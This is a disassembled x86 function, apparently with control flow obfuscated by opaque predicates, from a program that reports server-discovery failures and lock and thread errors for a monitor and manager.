add esi, edx
jne 0x5bbf94
mov dword [esp + 0x54], edi
cmp eax, 2
jne 0x5bc56b
imul eax, eax
and eax, 3
cmp eax, 2
mov esi, dword [esp + 0x6c]
jb 0x5bc303
jmp 0x5bc56b
mov dword [esp + 0x54], edi
mov eax, dword [0x80dcdc]
test eax, eax
jne 0x5bc56b
mov edi, 0x14
mov ecx, 3
sub ecx, eax
xor ecx, eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], esi
je 0x5bc56b
cmp edi, 5
je 0x5bcb4e
xor eax, eax
test al, al
mov esi, dword [esp + 0x6c]
jne 0x5bc5ab
mov eax, 0x1c
movzx ecx, byte [esp + 0x72]
cmp ecx, 0x26
je 0x5bca8b
cmp ecx, 0x7a
jne 0x5bc55f
xor esi, esi
jmp 0x5bca6a
mov ebx, 0x12
mov byte [esp + 0x72], 0x77
mov eax, esi
or eax, 2
mov ecx, esi
xor ecx, 2
add ecx, eax
setne al
movzx eax, al
add esi, eax
mov dword [esp], str.No_server_found_as_broadcast_is_disabled_and_no_user_address_is_specified_n
call fcn.004414c0
mov eax, 3
sub eax, esi
xor eax, esi
setne al
movzx eax, al
cmp esi, eax
jb 0x5bca40
cmp ebx, 3
je 0x5bb707
jmp 0x5bc56b
mov esi, dword [esp + 0x6c]
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x58], ecx
cmp eax, 0x10
mov bh, byte [esp + 0x60]
je 0x5bcaaa
xor eax, eax
test al, al
je 0x5bc55f
mov edi, 1
mov byte [esp + 0x65], 6
call fcn.0061b510
test eax, eax
je 0x5bc083
mov eax, edi
not eax
and eax, 1
add eax, edi
setne al
movzx eax, al
cmp edi, eax
mov ebp, dword [esp + 0x48]
jne 0x5bc429
mov byte [esp + 0x60], bh
xor ebx, ebx
jmp 0x5bc034
mov dword [esp + 0x54], edi
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], esi
mov ecx, dword [esp + 0x58]
jmp 0x5bbc9e
mov byte [esp + 0x65], 0x3c
mov byte [esp + 0x67], 0x79
mov byte [esp + 0x73], 0x7b
mov bh, 0x54
mov byte [esp + 0x66], 0x35
lea ecx, [esp + 0xa8]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x6c], esi
mov dword [esp + 0x34], eax
jmp 0x5bba97
lea edx, [esp + 0xa8]
mov dword [esp + 0x28], edx
mov byte [esp + 0x66], dl
mov byte [esp + 0x73], dl
mov byte [esp + 0x67], dl
mov byte [esp + 0x65], dl
jmp 0x5bba69
mov esi, dword [esp + 0x6c]
jmp 0x5bc5ab
mov dword [esp], str.Failed_to_lock_monitor_n
call fcn.00441610
call fcn.0044c0d0
mov eax, dword [0x80dcb8]
mov ecx, eax
not ecx
and ecx, 1
add ecx, eax
setne cl
movzx ecx, cl
add ecx, eax
mov dword [0x80dcb8], ecx
mov al, byte [0x80dcc7]
and al, 1
jne 0x5bcd8e
mov ecx, 0xc
mov al, 0x2f
cmp ecx, 0xc
je 0x5bcbc4
imul ecx, ecx
and ecx, 3
cmp ecx, 3
je 0x5bcbc4
mov esi, 0x17
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74c0
test eax, eax
jne 0x5bcd7f
jmp 0x5bcb68
movzx eax, al
cmp eax, 0x2f
jne 0x5bcbda
mov eax, dword [0x80dcac]
test eax, eax
jne 0x5bcbf6
jmp 0x5bcc5e
mov esi, 3
mov eax, dword [0x80dcac]
test eax, eax
je 0x5bce02
xor ecx, ecx
test cl, cl
jne 0x5bce02
mov dword [esp], eax
call fcn.007c9e90
test eax, eax
jne 0x5bcc4d
xor esi, esi
jmp 0x5bcc38
mov eax, 3
sub eax, esi
xor eax, esi
setne al
movzx eax, al
add esi, eax
mov eax, dword [0x80dcac]
mov dword [esp], eax
call fcn.007c9ea0
mov dword [0x80dcac], 0
mov eax, esi
not eax
and eax, 1
add eax, esi
setne al
movzx eax, al
cmp esi, eax
jb 0x5bcc10
jmp 0x5bcc5e
mov dword [esp], str.Failed_to_wait_for_update_thread_n
call fcn.00441610
call fcn.0044c0d0
mov al, byte [0x80dcb4]
and al, 1
jne 0x5bccf7
mov eax, 5
mov ebx, 0xb
mov ecx, dword [0x80dcc8]
or ecx, dword [0x80dccc]
jne 0x5bccb6
cmp eax, 5
jne 0x5bcc97
mov ecx, eax
not ecx
and ecx, 1
add ecx, eax
jne 0x5bcd8e
mov edi, 0x10
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74c0
test eax, eax
je 0x5bcde8
jmp 0x5bcb57
cmp ebx, 8
mov edi, dword [esp + 0x74]
je 0x5bce85
mov eax, ebx
and eax, 1
inc eax
xor eax, ebx
je 0x5bce85
call fcn.0049af60
mov ecx, dword [0x80dccc]
mov esi, dword [0x80dcc8]
add esi, edi
adc ecx, 0
cmp esi, eax
sbb ecx, edx
jb 0x5bccf7
mov al, 1
test al, al
jne 0x5bcd8e
mov esi, 0xc
mov byte [0x80dcb4], 0
mov dword [0x80dcbc], 1
mov dword [0x80dcc0], 0
mov byte [0x80dcc4], 0
mov byte [0x80dcc5], 0
mov byte [0x80dcc6], 0
mov dword [0x80dccc], 0
mov dword [0x80dcc8], 0
mov byte [0x80dcc7], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 6
xor ecx, ecx
xor edx, edx
call fcn.005ba320
cmp esi, 0xc
je 0x5bcd8e
xor eax, eax
test al, al
je 0x5bcb57
mov esi, 4
mov eax, dword [0x80dcd0]
mov dword [esp], eax
call fcn.007c74e0
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 3
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bce02
mov al, 0x5d
movzx eax, al
cmp eax, 0x5d
jne 0x5bce2a
mov edi, 0xf
mov esi, 0x15
mov eax, dword [0x80dce4]
mov dword [esp], eax
call fcn.007c74e0
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bce5f
cmp edi, 0xf
jne 0x5bcb68
mov eax, edi
or eax, 2
xor edi, 2
add edi, eax
jne 0x5bce49
jmp 0x5bcb68
cmp esi, 3
je 0x5bcc5e
mov eax, esi
and eax, 1
inc eax
xor eax, esi
je 0x5bcc5e
mov dword [esp], str.Failed_to_unlock_monitor_n
call fcn.00441610
call fcn.0044c0d0
mov eax, dword [0x80dce4]
mov dword [esp], eax
call fcn.007c74e0
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bce74
mov ecx, dword [esp + 0x3c]
call fcn.005ac730
xor eax, eax
add esp, 0x130
pop esi
pop edi
pop ebx
pop ebp
ret
cmp esi, 5
jne 0x5bce74
mov eax, esi
or eax, 2
xor esi, 2
add esi, eax
jne 0x5bcb68
mov dword [esp], str.Failed_to_unlock_manager_n
call fcn.00441610
call fcn.0044c0d0
mov dword [esp], str.Failed_to_lock_manager_n
call fcn.00441610
call fcn.0044c0d0
int3